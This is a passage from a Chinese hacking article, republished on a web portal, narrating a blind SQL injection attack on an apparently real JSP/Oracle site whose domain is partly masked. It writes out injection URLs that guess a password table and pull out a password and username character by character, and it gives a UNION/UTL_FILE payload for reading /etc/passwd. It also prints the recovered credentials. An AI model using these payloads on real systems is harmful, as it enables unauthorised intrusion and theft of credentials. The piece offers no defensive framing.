投递文章 | 投稿指南 把 西安网吧在线 加入收藏夹 | 设为首页    西安网吧在线 网站联盟:
做最好的网吧门户站点!
搜索: 您的位置西安网吧在线网吧维护Web服务器 → 文章内容

JSP+Oracle SQL Injection之旅

  作者:佚名   来源:IT专家网   更新时间:2008-8-13 0:24:05   【 】  评论:0

      从这里就可以看出完全是同一个表了。其实遇到这么多次程序,还没见过是分开建的表呢。最后得出表名是:T_PASSWD,列名有四个,分别是STAFF_ID、STS、PASSWORD、LAST_DATE,后来证实这些猜解都是正确的(进了服务器就什么都看到咯,如图3所示)。

  

  图3

  以上的过程是很枯燥的,死了不少脑细胞,觉得和猜Access一样。要是Oracle有像MSSQL月月秒年个直接暴库、表的方法就好了。呵呵,接下来的事,当然是要搞个用户名和密码了。Come on!看看最小的STAFF_ID的值是多少:

  

http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797' and 1=(select min(STAFF_ID) from T_PASSWD) and '1'='1
  返回正常。呵呵,不要客气它就是我们的目标,把它的Password搞出来先。好戏就要上演了,真还想看看《黑客帝国》里的动画:

  

http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797' and 0<>(select conut(*) from T_PASSWD where substr(PASSWORD,1,1)=’1’ and STAFF_ID=1) and '1'='1

  当然大家也可以用Ascii()函数来猜,关于这方面很都前辈都说过了,这里就不再做说明,不然编辑说我骗稿费了,呵呵。猜不到10分钟就出来了密码:“19791108”,好像是生日哟。有密码了,没用户还不行,接下来的事就简单多了:

  

http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797' and 0<>(select conut(*) from T_PASSWD where substr(STS,1,1)=’1’ and STAFF_ID=’T’) and '1'='1
  一步一步来。步骤和上面的没多大差别,先看看长度,再一个个来猜。这个在猜的时候用的时间就长了一点,花了我25分钟最后得到帐户是:“TANGBIN”,注入过程正式结束!

  最后补充几点:如果开放Public组的UTL_FILE则有可能读取服务器上的文件,如果设置错误,可以得到任何文件,如:读出/etc/passwd文件,不过它要和Union联合使用,如:union select 'hoge','../../../../../etc/passwd','1','1','1' from SOMETABLE--。关于Union查询,黑防七期上angel的PHP注入文章里已经介绍得比较详细:前面的语句要构造假的条件,才能返回后面的查询。当然,你也可以尝试Update、 Insert、跨库等,如果你想知道答案的话,自己来吧!相信黑防近期就会出这样的文章了。当然如果你有什么好的办法或者资料,记得给我一份哟。

上一页  [1] [2] [3] [4] [5] 

Tags: JS 之旅  
责任编辑:Cn029.Com
  • 请文明参与讨论,禁止漫骂攻击。 用户名:新注册) 验证码: 验证码,看不清楚?请点击刷新验证码

    分 值:100分 85分 70分 55分 40分 25分 10分 0分

    评论总数:0条,平均得分:0[ 查看全部 ] 网友评论
    热门图文
    关于我们 - 联系我们 - 广告服务 - 法律声明 - RSS订阅 - 网站地图 - 返回顶部